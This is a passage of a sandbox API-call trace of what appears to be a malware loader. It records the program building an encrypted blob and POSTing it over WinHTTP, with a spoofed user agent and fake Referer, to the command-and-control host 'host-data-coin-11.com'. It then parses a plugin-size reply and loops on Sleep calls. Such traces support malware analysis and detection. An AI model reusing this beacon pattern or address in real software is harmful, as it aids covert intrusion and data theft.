Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9d65c272 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5f109ad8 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc091a351 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9eeeec50 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9df0061f [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbdfed87b [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaf4509cc [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x69ae6ff5 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x15b44923 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc5aa9a81 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xee3aa912 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x749a371d [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6872f56 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9ebdabee [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa6a33758 [0256.364] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2fb296d0 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x19497820 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x67106838 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf2a79814 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x241ac12 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfacdbe1d [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x37ddf12e [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc75d3461 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5f4a9c9d [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa190961d [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4a20a4fa [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x582b3103 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbc9cf5b6 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4e1ffb0d [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf21a8ec4 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe1ca2508 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4e615cfa [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xefbf845d [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe3ca6525 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8d30b696 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa068831c [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb3db71d3 [0256.365] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x66a486bd [0256.365] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x132) returned 0x471a00 [0256.365] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0256.365] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0256.365] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0256.365] lstrcatA (in: lpString1="", lpString2="s:\\H89U&e!o*3m/b2Ht)jXx.VdYc<;ToZ2Qu-L\\6,*kuPx-\"O6v!opa=%'\"w3(&U7Rr63VVLMy$.ru?KTZ^%-8Wn\"'D>^V6F&WBX&8>i2+jINoT^RW6K3/ez)72KFB(9lU62riX1u6[pbRBq'RN9aM*bI@C!/8T@Gy7*q-MNi^21LD)D\\g67;mJ7>PU&fDoHmE7[Iuw#zG62pg$cLE7UXZw32R" | out: lpString1="s:\\H89U&e!o*3m/b2Ht)jXx.VdYc<;ToZ2Qu-L\\6,*kuPx-\"O6v!opa=%'\"w3(&U7Rr63VVLMy$.ru?KTZ^%-8Wn\"'D>^V6F&WBX&8>i2+jINoT^RW6K3/ez)72KFB(9lU62riX1u6[pbRBq'RN9aM*bI@C!/8T@Gy7*q-MNi^21LD)D\\g67;mJ7>PU&fDoHmE7[Iuw#zG62pg$cLE7UXZw32R") returned="s:\\H89U&e!o*3m/b2Ht)jXx.VdYc<;ToZ2Qu-L\\6,*kuPx-\"O6v!opa=%'\"w3(&U7Rr63VVLMy$.ru?KTZ^%-8Wn\"'D>^V6F&WBX&8>i2+jINoT^RW6K3/ez)72KFB(9lU62riX1u6[pbRBq'RN9aM*bI@C!/8T@Gy7*q-MNi^21LD)D\\g67;mJ7>PU&fDoHmE7[Iuw#zG62pg$cLE7UXZw32R" [0256.365] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471b40 [0256.365] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0256.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471b40, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0256.366] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0256.379] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x861fee0 [0256.483] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0256.483] WinHttpConnect (hSession=0x861fee0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86c93f0 [0256.483] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x470780 [0256.483] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x4707a0 [0256.483] WinHttpOpenRequest (hConnect=0x86c93f0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x86ab760 [0256.483] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471c60 [0256.484] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471cc0 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7d3578f6 [0256.484] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x470810 [0256.484] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471de0 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x25f54b88 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x78dba0cf [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3717b22 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x739e697f [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x47a97bf8 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf2fc0e91 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa8a42445 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x96787b61 [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe6c8509e [0256.484] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf73cffe7 [0256.484] wsprintfW (in: param_1=0x471cc0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://vnkgxcfsx.org/") returned 43 [0256.484] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471de0) returned 0x17 [0256.484] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471de0) returned 1 [0256.484] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470810) returned 0x12 [0256.484] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470810) returned 1 [0256.484] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c60) returned 0x4e [0256.485] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c60) returned 1 [0256.485] WinHttpAddRequestHeaders (hRequest=0x86ab760, pwszHeaders="Accept: */*\r\nReferer: http://vnkgxcfsx.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0256.485] WinHttpSendRequest (hRequest=0x86ab760, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x471a00*, dwOptionalLength=0x129, dwTotalLength=0x129, dwContext=0x0) returned 1 [0256.821] WinHttpReceiveResponse (hRequest=0x86ab760, lpReserved=0x0) returned 1 [0256.822] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x475df0 [0256.823] WinHttpReadData (in: hRequest=0x86ab760, lpBuffer=0x475df0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x475df0*, lpdwNumberOfBytesRead=0xfd4fd88*=0x18) returned 1 [0256.824] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x475df0, Size=0x5000) returned 0x475df0 [0256.824] WinHttpReadData (in: hRequest=0x86ab760, lpBuffer=0x475e08, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x475e08*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0256.824] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x6d0000 [0256.826] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x475df0) returned 1 [0256.826] WinHttpCloseHandle (hInternet=0x86ab760) returned 1 [0256.826] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471cc0) returned 0x10d [0256.827] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471cc0) returned 1 [0256.827] WinHttpCloseHandle (hInternet=0x86c93f0) returned 1 [0256.827] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4707a0) returned 0x68 [0256.827] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x4707a0) returned 1 [0256.827] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470780) returned 0x12 [0256.827] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470780) returned 1 [0256.827] WinHttpCloseHandle (hInternet=0x861fee0) returned 1 [0256.827] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b40) returned 0x10c [0256.828] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b40) returned 1 [0256.828] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471910) returned 0xe3 [0256.828] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471910) returned 1 [0256.828] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471a00) returned 0x132 [0256.828] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471a00) returned 1 [0256.828] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0256.828] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x15) returned 0x470780 [0256.828] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0256.828] lstrlenA (lpString="plugin_size") returned 11 [0256.829] atoi (_Str="0") returned 0 [0256.829] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0256.829] lstrlenA (lpString="|:|") returned 3 [0256.829] MapViewOfFile (hFileMappingObject=0x19ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2890000 [0256.838] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0256.838] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2890000) returned 0x0 [0256.866] atoi (_Str="0") returned 0 [0256.866] VirtualFree (lpAddress=0x6d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0256.867] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0256.868] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0256.868] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0256.868] Sleep (dwMilliseconds=0x258) [0256.870] Sleep (dwMilliseconds=0x258) [0256.877] Sleep (dwMilliseconds=0x258) [0256.879] Sleep (dwMilliseconds=0x258) [0256.881] Sleep (dwMilliseconds=0x258) [0256.882] Sleep (dwMilliseconds=0x258) [0256.884] Sleep (dwMilliseconds=0x258) [0256.886] Sleep (dwMilliseconds=0x258) [0256.887] Sleep (dwMilliseconds=0x258) [0256.889] Sleep (dwMilliseconds=0x258) [0256.890] Sleep (dwMilliseconds=0x258) [0256.892] Sleep (dwMilliseconds=0x258) [0256.894] Sleep (dwMilliseconds=0x258) [0256.895] Sleep (dwMilliseconds=0x258) [0256.897] Sleep (dwMilliseconds=0x258) [0256.899] Sleep (dwMilliseconds=0x258) [0256.900] Sleep (dwMilliseconds=0x258) [0256.902] Sleep (dwMilliseconds=0x258) [0256.946] Sleep (dwMilliseconds=0x258) [0256.947] Sleep (dwMilliseconds=0x258) [0256.949] Sleep (dwMilliseconds=0x258) [0256.952] Sleep (dwMilliseconds=0x258) [0256.954] Sleep (dwMilliseconds=0x258) [0256.955] Sleep (dwMilliseconds=0x258) [0256.957] Sleep (dwMilliseconds=0x258) [0256.958] Sleep (dwMilliseconds=0x258) [0256.960] Sleep (dwMilliseconds=0x258) [0256.962] Sleep (dwMilliseconds=0x258) [0256.964] Sleep (dwMilliseconds=0x258) [0256.965] Sleep (dwMilliseconds=0x258) [0256.966] Sleep (dwMilliseconds=0x258) [0256.968] Sleep (dwMilliseconds=0x258) [0256.969] Sleep (dwMilliseconds=0x258) [0256.971] Sleep (dwMilliseconds=0x258) [0256.972] Sleep (dwMilliseconds=0x258) [0256.974] Sleep (dwMilliseconds=0x258) [0256.975] Sleep (dwMilliseconds=0x258) [0256.977] Sleep (dwMilliseconds=0x258) [0256.978] Sleep (dwMilliseconds=0x258) [0256.980] Sleep (dwMilliseconds=0x258) [0256.981] Sleep (dwMilliseconds=0x258) [0256.983] Sleep (dwMilliseconds=0x258) [0256.984] Sleep (dwMilliseconds=0x258) [0256.986] Sleep (dwMilliseconds=0x258) [0256.987] Sleep (dwMilliseconds=0x258) [0256.989] Sleep (dwMilliseconds=0x258) [0256.990] Sleep (dwMilliseconds=0x258) [0256.992] Sleep (dwMilliseconds=0x258) [0256.993] Sleep (dwMilliseconds=0x258) [0256.995] Sleep (dwMilliseconds=0x258) [0256.996] Sleep (dwMilliseconds=0x258) [0256.998] Sleep (dwMilliseconds=0x258) [0256.999] Sleep (dwMilliseconds=0x258) [0257.001] Sleep (dwMilliseconds=0x258) [0257.002] Sleep (dwMilliseconds=0x258) [0257.004] Sleep (dwMilliseconds=0x258) [0257.006] Sleep (dwMilliseconds=0x258) [0257.008] Sleep (dwMilliseconds=0x258) [0257.010] Sleep (dwMilliseconds=0x258) [0257.011] Sleep (dwMilliseconds=0x258) [0257.013] Sleep (dwMilliseconds=0x258) [0257.014] Sleep (dwMilliseconds=0x258) [0257.016] Sleep (dwMilliseconds=0x258) [0257.018] Sleep (dwMilliseconds=0x258) [0257.019] Sleep (dwMilliseconds=0x258) [0257.021] Sleep (dwMilliseconds=0x258) [0257.023] Sleep (dwMilliseconds=0x258) [0257.024] Sleep (dwMilliseconds=0x258) [0257.026] Sleep (dwMilliseconds=0x258) [0257.027] Sleep (dwMilliseconds=0x258) [0257.029] Sleep (dwMilliseconds=0x258) [0257.030] Sleep (dwMilliseconds=0x258) [0257.032] Sleep (dwMilliseconds=0x258) [0257.033] Sleep (dwMilliseconds=0x258) [0257.035] Sleep (dwMilliseconds=0x258) [0257.037] Sleep (dwMilliseconds=0x258) [0257.038] Sleep (dwMilliseconds=0x258) [0257.040] Sleep (dwMilliseconds=0x258) [0257.041] Sleep (dwMilliseconds=0x258) [0257.043] Sleep (dwMilliseconds=0x258) [0257.045] Sleep (dwMilliseconds=0x258) [0257.046] Sleep (dwMilliseconds=0x258) [0257.048] Sleep (dwMilliseconds=0x258) [0257.049] Sleep (dwMilliseconds=0x258) [0257.051] Sleep (dwMilliseconds=0x258) [0257.053] Sleep (dwMilliseconds=0x258) [0257.054] Sleep (dwMilliseconds=0x258) [0257.056] Sleep (dwMilliseconds=0x258) [0257.063] Sleep (dwMilliseconds=0x258) [0257.071] Sleep (dwMilliseconds=0x258) [0257.073] Sleep (dwMilliseconds=0x258) [0257.074] Sleep (dwMilliseconds=0x258) [0257.076] Sleep (dwMilliseconds=0x258) [0257.083] Sleep (dwMilliseconds=0x258) [0257.085] Sleep (dwMilliseconds=0x258) [0257.086] Sleep (dwMilliseconds=0x258) [0257.088] Sleep (dwMilliseconds=0x258) [0257.090] Sleep (dwMilliseconds=0x258) [0257.091] Sleep (dwMilliseconds=0x258) [0257.093] Sleep (dwMilliseconds=0x258) [0257.094] Sleep (dwMilliseconds=0x258) [0257.096] Sleep (dwMilliseconds=0x258) [0257.098] Sleep (dwMilliseconds=0x258) [0257.099] Sleep (dwMilliseconds=0x258) [0257.101] Sleep (dwMilliseconds=0x258) [0257.103] Sleep (dwMilliseconds=0x258) [0257.104] Sleep (dwMilliseconds=0x258) [0257.107] Sleep (dwMilliseconds=0x258) [0257.108] Sleep (dwMilliseconds=0x258) [0257.110] Sleep (dwMilliseconds=0x258) [0257.111] Sleep (dwMilliseconds=0x258) [0257.113] Sleep (dwMilliseconds=0x258) [0257.114] Sleep (dwMilliseconds=0x258) [0257.116] Sleep (dwMilliseconds=0x258) [0257.117] Sleep (dwMilliseconds=0x258) [0257.119] Sleep (dwMilliseconds=0x258) [0257.120] Sleep (dwMilliseconds=0x258) [0257.122] Sleep (dwMilliseconds=0x258) [0257.123] Sleep (dwMilliseconds=0x258) [0257.125] Sleep (dwMilliseconds=0x258) [0257.128] Sleep (dwMilliseconds=0x258) [0257.129] Sleep (dwMilliseconds=0x258) [0257.131] Sleep (dwMilliseconds=0x258) [0257.132] Sleep (dwMilliseconds=0x258) [0257.134] Sleep (dwMilliseconds=0x258) [0257.135] Sleep (dwMilliseconds=0x258) [0257.137] Sleep (dwMilliseconds=0x258) [0257.138] Sleep (dwMilliseconds=0x258) [0257.140] Sleep (dwMilliseconds=0x258) [0257.141] Sleep (dwMilliseconds=0x258) [0257.143] Sleep (dwMilliseconds=0x258) [0257.146] Sleep (dwMilliseconds=0x258) [0257.148] Sleep (dwMilliseconds=0x258) [0257.150] Sleep (dwMilliseconds=0x258) [0257.152] Sleep (dwMilliseconds=0x258) [0257.153] Sleep (dwMilliseconds=0x258) [0257.155] Sleep (dwMilliseconds=0x258) [0257.157] Sleep (dwMilliseconds=0x258) [0257.158] Sleep (dwMilliseconds=0x258) [0257.160] Sleep (dwMilliseconds=0x258) [0257.161] Sleep (dwMilliseconds=0x258) [0257.163] Sleep (dwMilliseconds=0x258) [0257.165] Sleep (dwMilliseconds=0x258) [0257.167] Sleep (dwMilliseconds=0x258) [0257.171] Sleep (dwMilliseconds=0x258) [0257.172] Sleep (dwMilliseconds=0x258) [0257.174] Sleep (dwMilliseconds=0x258) [0257.175] Sleep (dwMilliseconds=0x258) [0257.177] Sleep (dwMilliseconds=0x258) [0257.178] Sleep (dwMilliseconds=0x258) [0257.180] Sleep (dwMilliseconds=0x258) [0257.181] Sleep (dwMilliseconds=0x258) [0257.183] Sleep (dwMilliseconds=0x258) [0257.184] Sleep (dwMilliseconds=0x258) [0257.186] Sleep (dwMilliseconds=0x258) [0257.188] Sleep (dwMilliseconds=0x258) [0257.189] Sleep (dwMilliseconds=0x258) [0257.197] Sleep (dwMilliseconds=0x258) [0257.199] Sleep (dwMilliseconds=0x258) [0257.200] Sleep (dwMilliseconds=0x258) [0257.202] Sleep (dwMilliseconds=0x258) [0257.204] Sleep (dwMilliseconds=0x258) [0257.205] Sleep (dwMilliseconds=0x258) [0257.208] Sleep (dwMilliseconds=0x258) [0257.210] Sleep (dwMilliseconds=0x258) [0257.211] Sleep (dwMilliseconds=0x258) [0257.220] Sleep (dwMilliseconds=0x258) [0257.227] Sleep (dwMilliseconds=0x258) [0257.229] Sleep (dwMilliseconds=0x258) [0257.230] Sleep (dwMilliseconds=0x258) [0257.308] Sleep (dwMilliseconds=0x258) [0257.310] Sleep (dwMilliseconds=0x258) [0257.312] Sleep (dwMilliseconds=0x258) [0257.313] Sleep (dwMilliseconds=0x258) [0257.314] Sleep (dwMilliseconds=0x258) [0257.315] Sleep (dwMilliseconds=0x258) [0257.317] Sleep (dwMilliseconds=0x258) [0257.318] Sleep (dwMilliseconds=0x258) [0257.320] Sleep (dwMilliseconds=0x258) [0257.321] Sleep (dwMilliseconds=0x258) [0257.323] Sleep (dwMilliseconds=0x258) [0257.325] Sleep (dwMilliseconds=0x258) [0257.326] Sleep (dwMilliseconds=0x258) [0257.328] Sleep (dwMilliseconds=0x258) [0257.329] Sleep (dwMilliseconds=0x258) [0257.331] Sleep (dwMilliseconds=0x258) [0257.332] Sleep (dwMilliseconds=0x258) [0257.334] Sleep (dwMilliseconds=0x258) [0257.335] Sleep (dwMilliseconds=0x258) [0257.337] Sleep (dwMilliseconds=0x258) [0257.338] Sleep (dwMilliseconds=0x258) [0257.340] Sleep (dwMilliseconds=0x258) [0257.341] Sleep (dwMilliseconds=0x258) [0257.343] Sleep (dwMilliseconds=0x258) [0257.344] Sleep (dwMilliseconds=0x258) [0257.346] Sleep (dwMilliseconds=0x258) [0257.348] Sleep (dwMilliseconds=0x258) [0257.350] Sleep (dwMilliseconds=0x258) [0257.354] Sleep (dwMilliseconds=0x258) [0257.355] Sleep (dwMilliseconds=0x258) [0257.357] Sleep (dwMilliseconds=0x258) [0257.359] Sleep (dwMilliseconds=0x258) [0257.369] Sleep (dwMilliseconds=0x258) [0257.371] Sleep (dwMilliseconds=0x258) [0257.372] Sleep (dwMilliseconds=0x258) [0257.374] Sleep (dwMilliseconds=0x258) [0257.375] Sleep (dwMilliseconds=0x258) [0257.377] Sleep (dwMilliseconds=0x258) [0257.379] Sleep (dwMilliseconds=0x258) [0257.380] Sleep (dwMilliseconds=0x258) [0257.392] Sleep (dwMilliseconds=0x258) [0257.394] Sleep (dwMilliseconds=0x258) [0257.395] Sleep (dwMilliseconds=0x258) [0257.397] Sleep (dwMilliseconds=0x258) [0257.398] Sleep (dwMilliseconds=0x258) [0257.400] Sleep (dwMilliseconds=0x258) [0257.401] Sleep (dwMilliseconds=0x258) [0257.403] Sleep (dwMilliseconds=0x258) [0257.404] Sleep (dwMilliseconds=0x258) [0257.406] Sleep (dwMilliseconds=0x258) [0257.407] Sleep (dwMilliseconds=0x258) [0257.409] Sleep (dwMilliseconds=0x258) [0257.410] Sleep (dwMilliseconds=0x258) [0257.412] Sleep (dwMilliseconds=0x258) [0257.415] Sleep (dwMilliseconds=0x258) [0257.416] Sleep (dwMilliseconds=0x258) [0257.418] Sleep (dwMilliseconds=0x258) [0257.419] Sleep (dwMilliseconds=0x258) [0257.422] Sleep (dwMilliseconds=0x258) [0257.423] Sleep (dwMilliseconds=0x258) [0257.425] Sleep (dwMilliseconds=0x258) [0257.426] Sleep (dwMilliseconds=0x258) [0257.428] Sleep (dwMilliseconds=0x258) [0257.429] Sleep (dwMilliseconds=0x258) [0257.431] Sleep (dwMilliseconds=0x258) [0257.432] Sleep (dwMilliseconds=0x258) [0257.434] Sleep (dwMilliseconds=0x258) [0257.435] Sleep (dwMilliseconds=0x258) [0257.437] Sleep (dwMilliseconds=0x258) [0257.438] Sleep (dwMilliseconds=0x258) [0257.439] Sleep (dwMilliseconds=0x258) [0257.441] Sleep (dwMilliseconds=0x258) [0257.442] Sleep (dwMilliseconds=0x258) [0257.444] Sleep (dwMilliseconds=0x258) [0257.449] Sleep (dwMilliseconds=0x258) [0257.451] Sleep (dwMilliseconds=0x258) [0257.452] Sleep (dwMilliseconds=0x258) [0257.454] Sleep (dwMilliseconds=0x258) [0257.455] Sleep (dwMilliseconds=0x258) [0257.456] Sleep (dwMilliseconds=0x258) [0257.458] Sleep (dwMilliseconds=0x258) [0257.459] Sleep (dwMilliseconds=0x258) [0257.461] Sleep (dwMilliseconds=0x258) [0257.463] Sleep (dwMilliseconds=0x258) [0257.465] Sleep (dwMilliseconds=0x258) [0257.466] Sleep (dwMilliseconds=0x258) [0257.467] Sleep (dwMilliseconds=0x258) [0257.471] Sleep (dwMilliseconds=0x258) [0257.472] Sleep (dwMilliseconds=0x258) [0257.479] Sleep (dwMilliseconds=0x258) [0257.487] Sleep (dwMilliseconds=0x258) [0257.495] Sleep (dwMilliseconds=0x258) [0257.496] Sleep (dwMilliseconds=0x258) [0257.498] Sleep (dwMilliseconds=0x258) [0257.499] Sleep (dwMilliseconds=0x258) [0257.501] Sleep (dwMilliseconds=0x258) [0257.502] Sleep (dwMilliseconds=0x258) [0257.504] Sleep (dwMilliseconds=0x258) [0257.505] Sleep (dwMilliseconds=0x258) [0257.507] Sleep (dwMilliseconds=0x258) [0257.508] Sleep (dwMilliseconds=0x258) [0257.510] Sleep (dwMilliseconds=0x258) [0257.511] Sleep (dwMilliseconds=0x258) [0257.513] Sleep (dwMilliseconds=0x258) [0257.514] Sleep (dwMilliseconds=0x258) [0257.517] Sleep (dwMilliseconds=0x258) [0257.519] Sleep (dwMilliseconds=0x258) [0257.521] Sleep (dwMilliseconds=0x258) [0257.522] Sleep (dwMilliseconds=0x258) [0257.524] Sleep (dwMilliseconds=0x258) [0257.525] Sleep (dwMilliseconds=0x258) [0257.527] Sleep (dwMilliseconds=0x258) [0257.528] Sleep (dwMilliseconds=0x258) [0257.530] Sleep (dwMilliseconds=0x258) [0257.532] Sleep (dwMilliseconds=0x258) [0257.533] Sleep (dwMilliseconds=0x258) [0257.534] Sleep (dwMilliseconds=0x258) [0257.536] Sleep (dwMilliseconds=0x258) [0257.537] Sleep (dwMilliseconds=0x258) [0257.539] Sleep (dwMilliseconds=0x258) [0257.540] Sleep (dwMilliseconds=0x258) [0257.542] Sleep (dwMilliseconds=0x258) [0257.543] Sleep (dwMilliseconds=0x258) [0257.546] Sleep (dwMilliseconds=0x258) [0257.547] Sleep (dwMilliseconds=0x258) [0257.614] Sleep (dwMilliseconds=0x258) [0257.621] Sleep (dwMilliseconds=0x258) [0257.623] Sleep (dwMilliseconds=0x258) [0257.624] Sleep (dwMilliseconds=0x258) [0257.631] Sleep (dwMilliseconds=0x258) [0257.638] Sleep (dwMilliseconds=0x258) [0257.647] Sleep (dwMilliseconds=0x258) [0257.680] Sleep (dwMilliseconds=0x258) [0257.687] Sleep (dwMilliseconds=0x258) [0257.764] Sleep (dwMilliseconds=0x258) [0257.765] Sleep (dwMilliseconds=0x258) [0257.768] Sleep (dwMilliseconds=0x258) [0257.769] Sleep (dwMilliseconds=0x258) [0257.771] Sleep (dwMilliseconds=0x258) [0257.772] Sleep (dwMilliseconds=0x258) [0257.774] Sleep (dwMilliseconds=0x258) [0257.775] Sleep (dwMilliseconds=0x258) [0257.792] Sleep (dwMilliseconds=0x258) [0257.796] Sleep (dwMilliseconds=0x258) [0257.798] Sleep (dwMilliseconds=0x258) [0257.875] Sleep (dwMilliseconds=0x258) [0257.882] Sleep (dwMilliseconds=0x258) [0257.978] Sleep (dwMilliseconds=0x258) 